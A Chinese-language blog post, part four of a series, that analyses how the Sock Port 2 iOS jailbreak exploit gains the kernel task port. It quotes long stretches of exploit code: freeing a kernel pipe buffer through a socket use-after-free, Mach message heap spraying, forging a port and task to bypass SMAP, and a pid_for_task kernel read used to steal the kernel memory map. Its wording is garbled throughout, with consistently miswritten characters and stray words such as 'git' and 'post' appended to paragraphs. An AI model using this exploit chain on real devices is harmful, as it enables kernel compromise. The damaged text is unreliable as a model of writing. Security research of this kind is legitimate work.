iOS Jailbreak Principles - Sock Port 漏洞解析(四)The tfp0 !

系列文章

  1. iOS Jailbreak Principles - Sock Port 漏洞解析(一)UAF 與 Heap Spraying
  2. iOS Jailbreak Principles - Sock Port 漏洞解析(二)經過 Mach OOL Message 泄露 Port Address
  3. iOS Jailbreak Principles - Sock Port 漏洞解析(三)IOSurface Heap Spraying

前言

經過前 3 篇文章咱們已經掌握了經過 Sock Port 達到 tfp0 所須要的 Primitives,本文將帶你們分析 Sock Port 利用上述 Primitives 實現 tfp0 的過程。git

準備工做

本文只會對關鍵代碼進行講解,請你們自行打開 Sock Port 2 中的 exploit.c,從 get_tfp0 函數入手結合本文進行分析。github

步驟分解

首先咱們將整個得到 tfp0 的步驟分解,給你們一個總體的認識。安全

  1. 泄露進程本身的 self_port_address,進而獲取如下內容;
    • self_task_addresss
    • ipc_space_kernel
  2. 使用 pipe 函數分配一對進程通訊管道句柄 fds,經過 self_task_addresss 包含的進程信息 proc 能夠查詢到 fds 句柄在內核中所分配緩衝區的實際地址 pipe_buffer_address
    • 使用 pipe 能夠分配出一對在進程之間讀寫的文件描述符,在讀寫的同時會在內核中分配相應的緩衝區
  3. 使用上一篇文章中提到的 IOSurface Spraying 結合 Socket UAF 能夠實現將 pipe_buffer_address 對應的內容釋放,從而獲得一個已釋放的 pipe_buffer
  4. 建立一個有 send right 的 mach port,使用 OOL Message Spraying 將其填充到已釋放的 pipe_buffer
  5. 此時內核會認爲 pipe_buffer 中的都是合法 port,隨後咱們僞造一個 fake port 和對應的 fake task,而後將 fake_port_address 替換到 pipe_buffer 的前 8 個字節,這樣咱們就拿到了一個具備 send right 的 ipc_porttask 的控制權;
  6. 接收以前的 OOL Message,咱們會從新拿到執行 OOL Message Spraying 時使用的 ports,但 ports[0] 已經被篡改成咱們的 fake_port,咱們對其有完整的控制能力;
  7. 經過操縱 fake_port,咱們可以得到一個更加穩定的 Kernel Read Primitive,此後藉助它枚舉出內核進程,而後拿到內核的 vm_map
  8. 將內核的 vm_map 賦予 fake port,此時咱們的 fake port 已是一個完備的 kernel task port,tfp0 初步成立;
  9. 用這個 tfp0 去建立一個更穩定的 tfp0,而後清理腐化的環境,消除後續的 Kernel Panic 隱患。

下面將詳細講解這些步驟中在前序文章中未說起的內容。app

SMAP 與 Pipe Buffer

Supervisor Mode Access Prevention

PageSize 爲 16KB 的 iPhone 7 及以上設備包含了被稱之爲 SMAP(Supervisor Mode Access Prevention) 的緩解措施,經過這項措施可以阻止內核直接訪問 userland 內存,爲二進制漏洞利用帶來了一些限制。函數

根據 Wikipedia 上對 SMAP 的描述[1]:post

Supervisor Mode Access Prevention (SMAP) is a feature of some CPU implementations such as the Intel Broadwell microarchitecture that allows supervisor mode programs to optionally set user-space memory mappings so that access to those mappings from supervisor mode will cause a trap. This makes it harder for malicious programs to "trick" the kernel into using instructions or data from a user-space program.ui

即 SMAP 使得處於 Supervisor Mode 的程序(例如 Kernel)在訪問用戶空間內存時會觸發異常,這使得咱們在用戶態 fake 的數據不能直接被內核訪問。爲了繞過這一限制,咱們必須設法在內核中分配可控的區域。this

Pipe IO System Call

幸運的是操做系統提供了 Pipe IO System Call,根據 GeeksforGeeks 上對 Pipe 的描述[2]:spa

Conceptually, a pipe is a connection between two processes, such that the standard output from one process becomes the standard input of the other process. In UNIX Operating System, Pipes are useful for communication between related processes(inter-process communication).操作系統

即 pipe 是兩個進程間通訊的管道,一個進程的標準輸出將做爲另外一個進程的標準輸入。使用 pipe 函數能夠獲得一對讀寫句柄 fds,以下圖所示(圖片來自 GeeksforGeeks):

圖片來自 GeeksforGeeks

使用 pipe 讀寫時,因爲要實現跨進程共享內存,緩衝區會被分配到內核中,在用戶態拿到的是 fd 句柄,而 fd 對應的緩衝區地址被記錄在了任務端口上,基於已泄露的 task port 和前序文章中提到的 Kernel Read Primitive 便可拿到內核中的緩衝區地址。此時咱們已經間接得到了一塊內核中的可控區域,關鍵代碼以下(省略了錯誤檢查):

// here we'll create a pair of pipes (4 file descriptors in total)
// first pipe, used to overwrite a port pointer in a mach message
int fds[2];
ret = pipe(fds);
if (ret) {
    printf("[-] failed to create pipe\n");
    goto err;
}

// make the buffer of the first pipe 0x10000 bytes (this could be other sizes, but know that kernel does some calculations on how big this gets, i.e. when I made the buffer 20 bytes, it'd still go to kalloc.512
uint8_t pipebuf[0x10000];
memset(pipebuf, 0, 0x10000);

write(fds[1], pipebuf, 0x10000); // do write() to allocate the buffer on the kernel
read(fds[0], pipebuf, 0x10000); // do read() to reset buffer position
write(fds[1], pipebuf, 8); // write 8 bytes so later we can read the first 8 bytes (used to verify if spraying worked)
複製代碼

上述代碼在內核中建立了一個大小爲 64K 的緩衝區,須要注意的是 fd 的讀寫平衡,每次 write 操做都會將 cursor 向後移動,每次 read 操做都將把 cursor 向前移動。這裏先經過一次平衡的讀寫在內核中建立了緩衝區,隨後寫入 8 字節,這是爲了方便以後從中讀回第一個 port,即咱們的 fake port。

獲取 Pipe Buffer Address

基於 task port 和 fd 句柄很容易就能拿到 pipe buffer 的地址,關鍵代碼以下:

self_port_addr = task_self_addr(); // port leak primitive
uint64_t task = rk64_check(self_port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT));
self_task_addr = task;
uint64_t proc = rk64_check(task + koffset(KSTRUCT_OFFSET_TASK_BSD_INFO));
self_proc_addr = proc;
uint64_t p_fd = rk64_check(proc + koffset(KSTRUCT_OFFSET_PROC_P_FD));
uint64_t fd_ofiles = rk64_check(p_fd + koffset(KSTRUCT_OFFSET_FILEDESC_FD_OFILES));

uint64_t fproc = rk64_check(fd_ofiles + fds[0] * 8);
uint64_t f_fglob = rk64_check(fproc + koffset(KSTRUCT_OFFSET_FILEPROC_F_FGLOB));
uint64_t fg_data = rk64_check(f_fglob + koffset(KSTRUCT_OFFSET_FILEGLOB_FG_DATA));
uint64_t pipe_buffer = rk64_check(fg_data + koffset(KSTRUCT_OFFSET_PIPE_BUFFER));
printf("[*] pipe buffer: 0x%llx\n", pipe_buffer);
複製代碼

Pipe Buffer UAF

咱們的最終目的是控制一個 port,所以須要系統將 port 分配到咱們的可控區域,即 pipe buffer 中,這樣咱們就能對其進行徹底控制。這裏咱們將利用 Socket UAF 釋放 Pipe Buffer,再利用 Mach OOL Message Spraying 將有效的 port 填充過來。

Socket UAF Free Primitive

在前序文章中咱們講了利用 Socket UAF 實現的 Kernel Read,其實它還能夠實現任意內核 Zone 的釋放邏輯,這裏的利用方式與以前提到的 Kernel Read 基本相同,也是把待處理的地址存儲到 fake options 中的 ip6po_pktinfo 字段。區別在於 Spraying 成功後,咱們不讀取內容,而是給 ip6po_pktinfo 寫一個全 0 的結構,這會致使 ip6po_pktinfo 指向的內容被釋放。

按照常規的理解,釋放 ip6po_pktinfo 指向的區域時,釋放的區域長度應當以 ip6po_pktinfo 長度爲準,但由內核中的代碼得知這裏使用了 FREE 函數,自動根據 zone 頭部的 size 決定釋放的長度,即以 ip6po_pktinfo 指向的區域爲準,這就致使了一個任意長度區域釋放的 Primitive,內核中的關鍵代碼以下:

void ip6_clearpktopts(struct ip6_pktopts *pktopt, int optname) {
    if (pktopt == NULL)
    	return;
    
    if (optname == -1 || optname == IPV6_PKTINFO) {
    	if (pktopt->ip6po_pktinfo)
    		FREE(pktopt->ip6po_pktinfo, M_IP6OPT); // <-- free
    	pktopt->ip6po_pktinfo = NULL;
    }
    // ...
複製代碼

它是對 kfree_addr 的封裝,而 kfree_addr 中有基於地址獲取到 zone 及 size 的邏輯:

vm_size_t kfree_addr(void *addr) {
    vm_map_t map;
    vm_size_t size = 0;
    kern_return_t ret;
    zone_t z;
    
    size = zone_element_size(addr, &z); //
    if (size) {
    	DTRACE_VM3(kfree, vm_size_t, -1, vm_size_t, z->elem_size, void*, addr);
    	zfree(z, addr);
    	return size;
    }
    // ...
複製代碼

Free the Pipe Buffer

利用上面的 Primitive,咱們可以輕易地釋放 Pipe Buffer:

// free the first pipe buffer
ret = free_via_uaf(pipe_buffer);
複製代碼

此時咱們已經達成了 Pipe Buffer UAF。

Mach OOL Message Spraying

爲了得到合法、可控的 ipc_port,咱們使用 Mach OOL Message 進行 Heap Spraying,這裏注意記錄下 remote port,由於後續咱們須要接收消息拿到被咱們替換 port 的句柄:

// create a new port, this one we'll use for tfp0
mach_port_t target = new_port();
// reallocate it while filling it with a mach message containing send rights to our target port
mach_port_t p = MACH_PORT_NULL;
for (int i = 0; i < 10000; i++) {
    // pipe is 0x10000 bytes so make 0x10000/8 pointers and save result as we'll use later
    p = fill_kalloc_with_port_pointer(target, 0x10000/8, MACH_MSG_TYPE_COPY_SEND);
    
    // check if spraying worked by reading first 8 bytes
    uint64_t addr;
    read(fds[0], &addr, 8);
    if (addr == target_addr) { // if we see the address of our port, it worked
        break;
    }
    write(fds[1], &addr, 8); // reset buffer position
    
    mach_port_destroy(mach_task_self(), p); // spraying didn't work, so free port
    p = MACH_PORT_NULL;
}
複製代碼

這裏咱們使用了與 Pipe Buffer 尺寸相同(0x10000)的消息,以便可以成功的將 port address 填充到 Pipe Buffer 中。

如何檢查咱們是否成功呢?只須要先拿到上述 target port 的地址,再從 Pipe Buffer 中讀取 8B(因爲以前咱們預寫了 8B,這裏拿到的應該是第一個 port 的地址),若是 Spraying 成功 target port address 應當等於咱們從 Pipe Buffer 中讀到的地址。

僞造 port 與 task

另外一個 pipe

上述填充到 Pipe Buffer 中的依然是用戶態 port,並無 tfp0 能力,咱們須要篡改這個 port 以得到 tfp0。

因爲 SMAP 的存在,咱們的 fake port 與 fake task 都須要經過 pipe 拷貝到內核中才能被正常訪問,所以咱們須要再建立一個 pipe。

Sock Port 源碼中這個部分十分巧妙,它在內核中分配了能容納 port 與 task 的連續區域,而後讓 port->task 指向與之相鄰的 task 區域,這樣咱們就用一片區域同時控制了 port 與 task,又繞過了 SMAP,關鍵代碼以下:

int port_fds[2] = {-1, -1};
pipe(port_fds);

// create fake port and fake task, put fake_task right after fakeport
kport_t *fakeport = malloc(sizeof(kport_t) + 0x600);
ktask_t *fake_task = (ktask_t *)((uint64_t)fakeport + sizeof(kport_t));
bzero((void *)fakeport, sizeof(kport_t) + 0x600);

fake_task->ref_count = 0xff;

fakeport->ip_bits = IO_BITS_ACTIVE | IKOT_TASK;
fakeport->ip_references = 0xd00d;
fakeport->ip_lock.type = 0x11;
fakeport->ip_messages.port.receiver_name = 1;
fakeport->ip_messages.port.msgcount = 0;
fakeport->ip_messages.port.qlimit = MACH_PORT_QLIMIT_LARGE;
fakeport->ip_messages.port.waitq.flags = mach_port_waitq_flags();
fakeport->ip_srights = 99;
fakeport->ip_kobject = 0;
fakeport->ip_receiver = ipc_space_kernel;

if (SMAP) {
    write(port_fds[1], (void *)fakeport, sizeof(kport_t) + 0x600);
    read(port_fds[0], (void *)fakeport, sizeof(kport_t) + 0x600);
}

// 這裏省略了得到 port_pipe_buffer 地址的代碼

if (SMAP) {
    // align ip_kobject at our fake task, so the address of fake port + sizeof(kport_t)
    fakeport->ip_kobject = port_pipe_buffer + sizeof(kport_t);
}
else {
    fakeport->ip_kobject = (uint64_t)fake_task;
}
複製代碼

在 SMAP 下,內核中引用的地址不能來自 userland,所以上述關鍵代碼底部的 task 指向的是 Pipe Buffer 中的空間。

偷樑換柱

接下來咱們用 fake port 去替換 Pipe Buffer 中的第一個合法 port:

if (SMAP) {
    // spraying worked, now the pipe buffer is filled with pointers to our target port
    // overwrite the first pointer with our second pipe buffer, which contains the fake port
    write(fds[1], &port_pipe_buffer, 8);
}
else {
    write(fds[1], &fakeport, 8);
}
複製代碼

一樣注意,在 SMAP 模式下應當寫入 port_pipe_buffer 的地址而不是 userland 的 fakeport 地址。此時咱們已經將 fakeport 放到了合法的 port 區域,換句話說咱們徹底控制了一個 ipc_port

接收 Mach OOL Message

因爲 port 句柄包含了 rights 信息,咱們的篡改會改變 Pipe Buffer 中第一個 port 的句柄,所以咱們須要接收 OOL Message 來從新讀到這個句柄,還記得以前記錄下的 remote port 嗎,咱們能夠經過它接收發送的 OOL Message:

// receive the message from fill_kalloc_with_port_pointers back, since that message contains a send right and we overwrote the pointer of the first port, we now get a send right to the fake port!
struct ool_msg *msg = malloc(0x1000);
ret = mach_msg(&msg->hdr, MACH_RCV_MSG, 0, 0x1000, p, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
if (ret) {
    free(msg);
    printf("[-] mach_msg() failed: %d (%s)\n", ret, mach_error_string(ret));
    goto err;
}

mach_port_t *received_ports = msg->ool_ports.address;
mach_port_t our_port = received_ports[0]; // fake port!
free(msg);
複製代碼

這裏咱們能拿到 fakeport 對應的 port 句柄,而再也不是以前的 target port 句柄,這是由於內核在將 OOL Message 拷貝回用戶空間時,會執行 CAST_MACH_PORT_TO_NAME 宏函數進行轉換:

#define CAST_MACH_PORT_TO_NAME(x) ((mach_port_name_t)(uintptr_t)(x))
複製代碼

它會截取 ipc_port 的頭部 ipc_object 的 8B,即 ipc_object 中的前兩個成員:

struct ipc_port {
    struct ipc_object ip_object;
    struct ipc_mqueue ip_messages; 
    // ...
};

struct ipc_object {
    ipc_object_bits_t io_bits; // 4B
    ipc_object_refs_t io_references; // 4B
    lck_spin_t	io_lock_data;
};
複製代碼

所以最終 port 句柄其實是由 ipc_port 中的 io_bitsio_references 的值組成的。

如今咱們同時擁有了 ipc_port 的徹底控制權及其句柄,但這個 ipc_port 缺乏 vm_map,並非一個合法的 task port,接下來咱們須要將內核的 vm_map 賦予它。

pid_for_task Kernel Read Primitive

pid_for_task 函數接收一個進程的 port 做爲參數,並查詢它的 pid 返回,它的實現原理以下:

// 僞代碼
int pid = get_ipc_port(port)->task->bsd_info->p_pid;
複製代碼

而結構體成員訪問的本質是偏移量計算:

int pid = *(*(*(get_ipc_port(port) + offset_task) + offset_bsd_info) + offset_pid)
複製代碼

因爲咱們有 fakeport 的控制權,咱們能夠修改它的 bsd_info 等於 addr - offset_pid,此時 *(*(get_ipc_port(port) + offset_task) + offset_bsd_info) = addr - offset_pid,此時上述公式有以下的等價表達:

int pid = *(addr - offset_pid + offset_pid) = *addr
複製代碼

經過這種方式能穩定讀取 addr 處的 4B 數據,進而實現一個完美的 Kernel Read Primitive:

#define kr32(addr, value)\ if (SMAP) {\ read(port_fds[0], (void *)fakeport, sizeof(kport_t) + 0x600);\ }\ *read_addr_ptr = addr - koffset(KSTRUCT_OFFSET_PROC_PID);\ if (SMAP) {\ write(port_fds[1], (void *)fakeport, sizeof(kport_t) + 0x600);\ }\ value = 0x0;\ ret = pid_for_task(our_port, (int *)&value);
複製代碼

首先經過 Pipe Buffer 修改 bsd_info,而後將 fakeport 的句柄傳入 pid_for_task,便可讀取到指定地址的 4B 數據。

經過組合屢次 kr32 能夠實現任意長度數據的 Kernel Read,例以下面的 kr64:

#define kr64(addr, value)\ kr32(addr + 0x4, read64_tmp);\ kr32(addr, value);\ value = value | ((uint64_t)read64_tmp << 32)
複製代碼

獲取 kernel vm_map

基於當前進程的 task_port 能夠枚舉出全部進程,在這個過程當中須要數百次的 Kernel Read,所以須要藉助於上述穩定的 pid_for_task Kernel Read Primitive

uint64_t struct_task;
kr64(self_port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT), struct_task);
if (!struct_task) {
    printf("[-] kernel read failed!\n");
    goto err;
}

printf("[!] READING VIA FAKE PORT WORKED? 0x%llx\n", struct_task);
printf("[+] Let's steal that kernel task port!\n");

// tfp0!

uint64_t kernel_vm_map = 0;

while (struct_task != 0) {
    uint64_t bsd_info;
    kr64(struct_task + koffset(KSTRUCT_OFFSET_TASK_BSD_INFO), bsd_info);
    if (!bsd_info) {
        printf("[-] kernel read failed!\n");
        goto err;
    }
    
    uint32_t pid;
    kr32(bsd_info + koffset(KSTRUCT_OFFSET_PROC_PID), pid);
    
    if (pid == 0) {
        uint64_t vm_map;
        kr64(struct_task + koffset(KSTRUCT_OFFSET_TASK_VM_MAP), vm_map);
        if (!vm_map) {
            printf("[-] kernel read failed!\n");
            goto err;
        }
        
        kernel_vm_map = vm_map;
        break;
    }
    
    kr64(struct_task + koffset(KSTRUCT_OFFSET_TASK_PREV), struct_task);
}
複製代碼

因爲 proc 是一個雙向鏈表,咱們能夠從當前進程開始向前枚舉,直至 pid=0,再從 kernel task 中取出 vm_map

第一個 tfp0

將上述獲取到的 kernel vm_map 寫入 fakeport,如今咱們有了一個合法的 kernel task port

read(port_fds[0], (void *)fakeport, sizeof(kport_t) + 0x600);
    
fake_task->lock.data = 0x0;
fake_task->lock.type = 0x22;
fake_task->ref_count = 100;
fake_task->active = 1;
fake_task->map = kernel_vm_map;
*(uint32_t *)((uint64_t)fake_task + koffset(KSTRUCT_OFFSET_TASK_ITK_SELF)) = 1;

if (SMAP) {
    write(port_fds[1], (void *)fakeport, sizeof(kport_t) + 0x600);
}
複製代碼

此時咱們應該已經擁有一個 tfp0 port,能夠藉助於 mach_vm 相關的內存函數予以驗證。

穩定的 tfp0

上述 tfp0 是一個偷樑換柱而來的 task port,可能會埋下一些隱患。接下來咱們能夠用 tfp0 去建立一個合法、穩定、安全的 tfp0:

mach_port_t new_tfp0 = new_port();
if (!new_tfp0) {
    printf("[-] failed to allocate new tfp0 port\n");
    goto err;
}

uint64_t new_addr = find_port(new_tfp0, self_port_addr);
if (!new_addr) {
    printf("[-] failed to find new tfp0 port address\n");
    goto err;
}

uint64_t faketask = kalloc(0x600);
if (!faketask) {
    printf("[-] failed to kalloc faketask\n");
    goto err;
}

kwrite(faketask, fake_task, 0x600);
fakeport->ip_kobject = faketask;

kwrite(new_addr, (const void*)fakeport, sizeof(kport_t));
複製代碼

這裏先建立了一個具備 send rights 的 port,而後從新建立了一個區域來容納 kernel task,這消除了以前 ipc_port 與 task 在 Port Pipe Buffer 中相鄰從而帶來的隱患。隨後將 Port Pipe Buffer 中的 task 拷貝到新分配的 task 區域,再將 fakeport 數據完整拷貝到新建立的 port,由此咱們獲得了一個新的 tfp0。

環境清理

接下來咱們將先前的 tfp0 port 從進程的 port 索引表中抹去,再將已釋放的 Pipe Buffer 從 fd 索引表中抹去,最後關閉 IOSurfaceClient 與 pipe,釋放 userland 臨時分配的緩衝區:

// clean up port
uint64_t task_addr = rk64(self_port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT));
uint64_t itk_space = rk64(task_addr + koffset(KSTRUCT_OFFSET_TASK_ITK_SPACE));
uint64_t is_table = rk64(itk_space + koffset(KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE));

uint32_t port_index = our_port >> 8;
const int sizeof_ipc_entry_t = 0x18;

wk32(is_table + (port_index * sizeof_ipc_entry_t) + 8, 0);
wk64(is_table + (port_index * sizeof_ipc_entry_t), 0);

wk64(fg_data + koffset(KSTRUCT_OFFSET_PIPE_BUFFER), 0); // freed already via mach_msg()

if (fds[0] > 0)  close(fds[0]);
if (fds[1] > 0)  close(fds[1]);
if (port_fds[0] > 0)  close(port_fds[0]);
if (port_fds[1] > 0)  close(port_fds[1]);

free((void *)fakeport);
deinit_IOSurface();
複製代碼

到這裏整個 Sock Port 利用就分析完了,咱們拿到了穩定的 tfp0,距離 Jailbreak 又近了一步。

總結

本文梳理了 Sock Port 2 得到 tfp0 的整個過程,並對關鍵步驟進行了講解,經過閱讀本文可以對 Sock Port 在總體和細節上分別有深刻的認識。

下節預告

到這裏 Sock Port 漏洞解析就告一段落了,經過這個 Exploit 咱們僅僅取得了 tfp0,距離 Jailbreak 還有很遠的距離。接下來的文章將開始分析講解 Undecimus Jailbreak 源碼,講解從 tfp0 到內核代碼執行,再到各類 Kernel Patch。

參考資料

  1. Supervisor Mode Access Prevention. Wikipedia
  2. Pipe System Call. GeeksforGeeks
  3. Sock Port 2. jakeajames
相關文章
相關標籤/搜索